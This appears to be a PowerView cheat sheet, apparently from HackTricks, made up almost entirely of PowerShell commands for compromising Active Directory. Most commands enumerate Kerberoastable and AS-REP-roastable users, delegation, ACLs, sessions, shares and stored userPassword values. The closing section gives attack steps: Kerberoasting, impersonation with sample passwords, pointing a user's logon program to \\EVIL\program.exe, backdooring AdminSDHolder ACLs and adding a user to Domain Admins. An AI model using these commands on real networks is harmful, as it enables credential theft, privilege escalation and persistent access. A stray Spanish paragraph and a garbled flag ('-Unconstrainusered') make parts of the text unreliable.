**Quick enumeration**

Get-NetDomain #Basic domain info

#User info

Get-NetUser -UACFilter NOT\_ACCOUNTDISABLE | select samaccountname, description, pwdlastset, logoncount, badpwdcount #Basic user enabled info

Get-NetUser -LDAPFilter '(sidHistory=\*)' #Find users with sidHistory set

Get-NetUser -PreauthNotRequired #ASREPRoastable users

Get-NetUser -SPN #Kerberoastable users

#Groups info

Get-NetGroup | select samaccountname, admincount, description

Get-DomainObjectAcl -SearchBase 'CN=AdminSDHolder,CN=System,DC=EGOTISTICAL-BANK,DC=local' | %{ $\_.SecurityIdentifier } | Convert-SidToName #Get AdminSDHolders

#Computers

Get-NetComputer | select samaccountname, operatingsystem

Get-NetComputer -Unconstrainusered | select samaccountname #DCs always appear but aren't useful for privesc

Get-NetComputer -TrustedToAuth | select samaccountname #Find computers with Constrained Delegation

Get-DomainGroup -AdminCount | Get-DomainGroupMember -Recurse | ?{$\_.MemberName -like '\*$'} #Find any machine accounts in privileged groups

#Shares

Find-DomainShare -CheckShareAccess #Search readable shares

#Domain trusts

Get-NetDomainTrust #Get all domain trusts (parent, children and external)

Get-NetForestDomain | Get-NetDomainTrust #Enumerate all the trusts of all the domains found

#LHF

#Check if any user passwords are set

$FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=\*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $\_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($\_.userPassword))" -PassThru} | fl

#Asks DC for all computers, and asks every compute if it has admin access (very noisy). You need RCP and SMB ports opened.

Find-LocalAdminAccess

#Get members from Domain Admins (default) and a list of computers and check if any of the users is logged in any machine running Get-NetSession/Get-NetLoggedon on each host. If -Checkaccess, then it also check for LocalAdmin access in the hosts.

Invoke-UserHunter -CheckAccess

#Find interesting ACLs

Invoke-ACLScanner -ResolveGUIDs | select IdentityReferenceName, ObjectDN, ActiveDirectoryRights | fl

**Domain info**

# Domain Info

Get-Domain #Get info about the current domain

Get-NetDomain #Get info about the current domain

Get-NetDomain -Domain mydomain.local

Get-DomainSID #Get domain SID

# Policy

Get-DomainPolicy #Get info about the policy

(Get-DomainPolicy)."KerberosPolicy" #Kerberos tickets info(MaxServiceAge)

(Get-DomainPolicy)."SystemAccess" #Password policy

Get-DomainPolicyData | select -ExpandProperty SystemAccess #Same as previous

(Get-DomainPolicy).PrivilegeRights #Check your privileges

Get-DomainPolicyData # Same as Get-DomainPolicy

# Domain Controller

Get-DomainController | select Forest, Domain, IPAddress, Name, OSVersion | fl # Get specific info of current domain controller

Get-NetDomainController -Domain mydomain.local #Get all ifo of specific domain Domain Controller

# Get Forest info

Get-ForestDomain

**Users, Groups, Computers & OUs**

# Users

## Get usernames and their groups

Get-DomainUser -Properties name, MemberOf | fl

## Get-DomainUser and Get-NetUser are kind of the same

Get-NetUser #Get users with several (not all) properties

Get-NetUser | select samaccountname, description, pwdlastset, logoncount, badpwdcount #List all usernames

Get-NetUser -UserName student107 #Get info about a user

Get-NetUser -properties name, description #Get all descriptions

Get-NetUser -properties name, pwdlastset, logoncount, badpwdcount #Get all pwdlastset, logoncount and badpwdcount

Find-UserField -SearchField Description -SearchTerm "built" #Search account with "something" in a parameter

# Get users with reversible encryption (PWD in clear text with dcsync)

Get-DomainUser -Identity \* | ? {$\_.useraccountcontrol -like '\*ENCRYPTED\_TEXT\_PWD\_ALLOWED\*'} |select samaccountname,useraccountcontrol

# Users Filters

Get-NetUser -UACFilter NOT\_ACCOUNTDISABLE -properties distinguishedname #All enabled users

Get-NetUser -UACFilter ACCOUNTDISABLE #All disabled users

Get-NetUser -UACFilter SMARTCARD\_REQUIRED #Users that require a smart card

Get-NetUser -UACFilter NOT\_SMARTCARD\_REQUIRED -Properties samaccountname #Not smart card users

Get-NetUser -LDAPFilter '(sidHistory=\*)' #Find users with sidHistory set

Get-NetUser -PreauthNotRequired #ASREPRoastable users

Get-NetUser -SPN | select serviceprincipalname #Kerberoastable users

Get-NetUser -SPN | ?{$\_.memberof -match 'Domain Admins'} #Domain admins kerberostable

Get-Netuser -TrustedToAuth | select userprincipalname, name, msds-allowedtodelegateto #Constrained Resource Delegation

Get-NetUser -AllowDelegation -AdminCount #All privileged users that aren't marked as sensitive/not for delegation

# retrieve \*most\* users who can perform DC replication for dev.testlab.local (i.e. DCsync)

Get-ObjectAcl "dc=dev,dc=testlab,dc=local" -ResolveGUIDs | ? {

($\_.ObjectType -match 'replication-get') -or ($\_.ActiveDirectoryRights -match 'GenericAll')

}

# Users with PASSWD\_NOTREQD set in the userAccountControl means that the user is not subject to the current password policy

## Users with this flag might have empty passwords (if allowed) or shorter passwords

Get-DomainUser -UACFilter PASSWD\_NOTREQD | Select-Object samaccountname,useraccountcontrol

#Groups

Get-DomainGroup | where Name -like "\*Admin\*" | select SamAccountName

## Get-DomainGroup is similar to Get-NetGroup

Get-NetGroup #Get groups

Get-NetGroup -Domain mydomain.local #Get groups of an specific domain

Get-NetGroup 'Domain Admins' #Get all data of a group

Get-NetGroup -AdminCount | select name,memberof,admincount,member | fl #Search admin grups

Get-NetGroup -UserName "myusername" #Get groups of a user

Get-NetGroupMember -Identity "Administrators" -Recurse #Get users inside "Administrators" group. If there are groups inside of this grup, the -Recurse option will print the users inside the others groups also

Get-NetGroupMember -Identity "Enterprise Admins" -Domain mydomain.local #Remember that "Enterprise Admins" group only exists in the rootdomain of the forest

Get-NetLocalGroup -ComputerName dc.mydomain.local -ListGroups #Get Local groups of a machine (you need admin rights in no DC hosts)

Get-NetLocalGroupMember -computername dcorp-dc.dollarcorp.moneycorp.local #Get users of localgroups in computer

Get-DomainObjectAcl -SearchBase 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -ResolveGUIDs #Check AdminSDHolder users

Get-DomainObjectACL -ResolveGUIDs -Identity \* | ? {$\_.SecurityIdentifier -eq $sid} #Get ObjectACLs by sid

Get-NetGPOGroup #Get restricted groups

# Computers

Get-DomainComputer -Properties DnsHostName # Get all domain maes of computers

## Get-DomainComputer is kind of the same as Get-NetComputer

Get-NetComputer #Get all computer objects

Get-NetComputer -Ping #Send a ping to check if the computers are working

Get-NetComputer -Unconstrained #DCs always appear but aren't useful for privesc

Get-NetComputer -TrustedToAuth #Find computers with Constrined Delegation

Get-DomainGroup -AdminCount | Get-DomainGroupMember -Recurse | ?{$\_.MemberName -like '\*$'} #Find any machine accounts in privileged groups

#OU

Get-DomainOU -Properties Name | sort -Property Name #Get names of OUs

Get-DomainOU "Servers" | %{Get-DomainComputer -SearchBase $\_.distinguishedname -Properties Name} #Get all computers inside an OU (Servers in this case)

## Get-DomainOU is kind of the same as Get-NetOU

Get-NetOU #Get Organization Units

Get-NetOU StudentMachines | %{Get-NetComputer -ADSPath $\_} #Get all computers inside an OU (StudentMachines in this case)

**Logon and Sessions**

Get-NetLoggedon -ComputerName <servername> #Get net logon users at the moment in a computer (need admins rights on target)

Get-NetSession -ComputerName <servername> #Get active sessions on the host

Get-LoggedOnLocal -ComputerName <servername> #Get locally logon users at the moment (need remote registry (default in server OS))

Get-LastLoggedon -ComputerName <servername> #Get last user logged on (needs admin rigths in host)

Get-NetRDPSession -ComputerName <servername> #List RDP sessions inside a host (needs admin rights in host)

**Group Policy Object - GPOs**

Si un atacante tiene altos privilegios sobre un GPO, podría abusar de él agregando permisos a un usuario, agregando un usuario administrador local a un host o creando una tarea programada (inmediata) para realizar una acción.

Para obtener más información al respecto y cómo abusar de él, siga este enlace.

#GPO

Get-DomainGPO | select displayName #Check the names for info

Get-NetGPO #Get all policies with details

Get-NetGPO | select displayname #Get the names of the policies

Get-NetGPO -ComputerName <servername> #Get the policy applied in a computer

gpresult /V #Get current policy

# Get who can create new GPOs

Get-DomainObjectAcl -SearchBase "CN=Policies,CN=System,DC=dev,DC=invented,DC=io" -ResolveGUIDs | ? { $\_.ObjectAceType -eq "Group-Policy-Container" } | select ObjectDN, ActiveDirectoryRights, SecurityIdentifier | fl

# Enumerate permissions for GPOs where users with RIDs of > 1000 have some kind of modification/control rights

Get-DomainObjectAcl -LDAPFilter '(objectCategory=groupPolicyContainer)' | ? { ($\_.SecurityIdentifier -match '^S-1-5-.\*-[1-9]\d{3,}$') -and ($\_.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite|WriteDacl|WriteOwner')} | select ObjectDN, ActiveDirectoryRights, SecurityIdentifier | fl

# Get permissions a user/group has over any GPO

$sid=Convert-NameToSid "Domain Users"

Get-DomainGPO | Get-ObjectAcl | ?{$\_.SecurityIdentifier -eq $sid}

# COnvert GPO GUID to name

Get-GPO -Guid 18E5A689-E67F-90B2-1953-198ED4A7F532

# Transform SID to name

ConvertFrom-SID S-1-5-21-3263068140-2042698922-2891547269-1126

# Get GPO of an OU

Get-NetGPO -GPOName '{3E04167E-C2B6-4A9A-8FB7-C811158DC97C}'

# Returns all GPOs that modify local group memberships through Restricted Groups or Group Policy Preferences.

Get-DomainGPOLocalGroup | select GPODisplayName, GroupName, GPOType

# Enumerates the machines where a specific domain user/group is a member of a specific local group.

Get-DomainGPOUserLocalGroupMapping -LocalGroup Administrators | select ObjectName, GPODisplayName, ContainerName, ComputerName

Learn how to **exploit permissions over GPOs and ACLs** in:

[PAGEAbusing Active Directory ACLs/ACEs](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse)

**ACL**

#Get ACLs of an object (permissions of other objects over the indicated one)

Get-ObjectAcl -SamAccountName <username> -ResolveGUIDs

#Other way to get ACLs of an object

$sid = Convert-NameToSid <username/group>

Get-DomainObjectACL -ResolveGUIDs -Identity \* | ? {$\_.SecurityIdentifier -eq $sid}

#Get permissions of a file

Get-PathAcl -Path "\\dc.mydomain.local\sysvol"

#Find intresting ACEs (Interesting permisions of "unexpected objects" (RID>1000 and modify permissions) over other objects

Find-InterestingDomainAcl -ResolveGUIDs

#Check if any of the interesting permissions founds is realated to a username/group

Find-InterestingDomainAcl -ResolveGUIDs | ?{$\_.IdentityReference -match "RDPUsers"}

#Get special rights over All administrators in domain

Get-NetGroupMember -GroupName "Administrators" -Recurse | ?{$\_.IsGroup -match "false"} | %{Get-ObjectACL -SamAccountName $\_.MemberName -ResolveGUIDs} | select ObjectDN, IdentityReference, ActiveDirectoryRights

**Shared files and folders**

Copy

Get-NetFileServer #Search file servers. Lot of users use to be logged in this kind of servers

Find-DomainShare -CheckShareAccess #Search readable shares

Find-InterestingDomainShareFile #Find interesting files, can use filters

**Domain Trust**

Get-NetDomainTrust #Get all domain trusts (parent, children and external)

Get-DomainTrust #Same

Get-NetForestDomain | Get-NetDomainTrust #Enumerate all the trusts of all the domains found

Get-DomainTrustMapping #Enumerate also all the trusts

Get-ForestDomain # Get basic forest info

Get-ForestGlobalCatalog #Get info of current forest (no external)

Get-ForestGlobalCatalog -Forest external.domain #Get info about the external forest (if possible)

Get-DomainTrust -SearchBase "GC://$($ENV:USERDNSDOMAIN)"

Get-NetForestTrust #Get forest trusts (it must be between 2 roots, trust between a child and a root is just an external trust)

Get-DomainForeingUser #Get users with privileges in other domains inside the forest

Get-DomainForeignGroupMember #Get groups with privileges in other domains inside the forest

**Low-hanging fruit**

#Check if any user passwords are set

$FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=\*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $\_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($\_.userPassword))" -PassThru} | fl

#Asks DC for all computers, and asks every compute if it has admin access (very noisy). You need RCP and SMB ports opened.

Find-LocalAdminAccess

#(This time you need to give the list of computers in the domain) Do the same as before but trying to execute a WMI action in each computer (admin privs are needed to do so). Useful if RCP and SMB ports are closed.

.\Find-WMILocalAdminAccess.ps1 -ComputerFile .\computers.txt

#Enumerate machines where a particular user/group identity has local admin rights

Get-DomainGPOUserLocalGroupMapping -Identity <User/Group>

# Enumerates the members of specified local group (default administrators)

# for all the targeted machines on the current (or specified) domain.

Invoke-EnumerateLocalAdmin

Find-DomainLocalGroupMember

#Search unconstrained delegation computers and show users

Find-DomainUserLocation -ComputerUnconstrained -ShowAll

#Admin users that allow delegation, logged into servers that allow unconstrained delegation

Find-DomainUserLocation -ComputerUnconstrained -UserAdminCount -UserAllowDelegation

#Get members from Domain Admins (default) and a list of computers

# and check if any of the users is logged in any machine running Get-NetSession/Get-NetLoggedon on each host.

# If -Checkaccess, then it also check for LocalAdmin access in the hosts.

## By default users inside Domain Admins are searched

Find-DomainUserLocation [-CheckAccess] | select UserName, SessionFromName

Invoke-UserHunter [-CheckAccess]

#Search "RDPUsers" users

Invoke-UserHunter -GroupName "RDPUsers"

#It will only search for active users inside high traffic servers (DC, File Servers and Distributed File servers)

Invoke-UserHunter -Stealth

**Deleted objects**

#This isn't a powerview command, it's a feature from the AD management powershell module of Microsoft

#You need to be in the AD Recycle Bin group of the AD to list the deleted AD objects

Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties \*

**MISC**

**SID to Name**

"S-1-5-21-1874506631-3219952063-538504511-2136" | Convert-SidToName

**Kerberoast**

Invoke-Kerberoast [-Identity websvc] #Without "-Identity" kerberoast all possible users

**Use different credentials (argument)**

# use an alterate creadential for any function

$SecPassword = ConvertTo-SecureString 'BurgerBurgerBurger!' -AsPlainText -Force

$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)

Get-DomainUser -Credential $Cred

**Impersonate a user**

# if running in -sta mode, impersonate another credential a la "runas /netonly"

$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force

$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)

Invoke-UserImpersonation -Credential $Cred

# ... action

Invoke-RevertToSelf

**Set values**

# set the specified property for the given user identity

Set-DomainObject testuser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose

# Set the owner of 'dfm' in the current domain to 'harmj0y'

Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y

# Backdoor the ACLs of all privileged accounts with the 'matt' account through AdminSDHolder abuse

Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All

# Add user to 'Domain Admins'

Add-NetGroupUser -Username username -GroupName 'Domain Admins' -Domain my.domain.local